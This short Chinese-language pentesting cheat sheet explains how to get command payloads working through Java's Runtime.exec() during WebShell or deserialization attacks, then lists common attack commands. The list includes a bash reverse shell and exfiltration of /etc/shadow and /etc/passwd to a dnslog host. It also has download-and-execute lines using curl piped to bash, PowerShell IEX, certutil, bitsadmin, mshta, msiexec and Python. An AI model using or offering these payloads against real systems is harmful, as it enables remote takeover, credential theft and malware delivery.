Shell 编码 (Java)

有时,通过 Runtime.getRuntime().exec() 执行命令有效负载会导致失败。使用WebShell,反序列化利用或通过其他媒介时,可能会发生这种情况。
这是因为重定向和管道字符的使用方式在启动过程的上下文中没有意义。例如,ls > dir_listing 在 shell 中执行应将当前目录的列表输出到名为 dir_listing 的文件中。但是在 exec() 函数的上下文中,该命令将被解释为获取 > 和 dir_listing 目录的列表。
StringTokenizer 类有时会破坏其中包含空格的参数,该类将命令字符串按空格分隔。诸如此类的东西 ls "My Directory" 将被解释为 ls '"My' 'Directory"'。
借助 Base64 编码,下面的转换器可以帮助减少这些问题。它可以通过调用 Bash 或 PowerShell 来制作管道并重新定向,还可以确保参数内没有空格。




常用命令清单

bash -i >& /dev/tcp/127.0.0.1/6666 0>&1
curl -o /tmp/1.sh http://x.x.x.x/1.txt
chmod 777 /tmp/1.sh
ping `whoami`.key.dnslog.cn
curl http://www.google.com/bash.txt|bash
curl http://key.dnslog.cn/?r=`whoami`
curl http://key.dnslog.cn/?r=`cat /etc/shadow|base64`
curl http://key.dnslog.cn/?r=$(cat /etc/passwd|base64|tr '\n' '-')
curl http://www.google.com/key.txt
curl http://www.google.com/key.txt -O
curl http://www.google.com/key.txt -o key.txt
mshta http://127.0.0.1:80/download/file.ext
echo IEX(new-object net.webclient).downloadstring('[u]') | powershell -
powershell.exe -Command "Invoke-WebRequest -Uri [u] -OutFile x.exe"
certutil.exe -urlcache -split -f [u] x.exe
bitsadmin /rawreturn /transfer down "[u]" c:\\x.exe
msiexec /q /%os:~1,1% http://127.0.0.1:8080/x.exe
python -c "import urllib2; exec urllib2.urlopen('[u]').read();"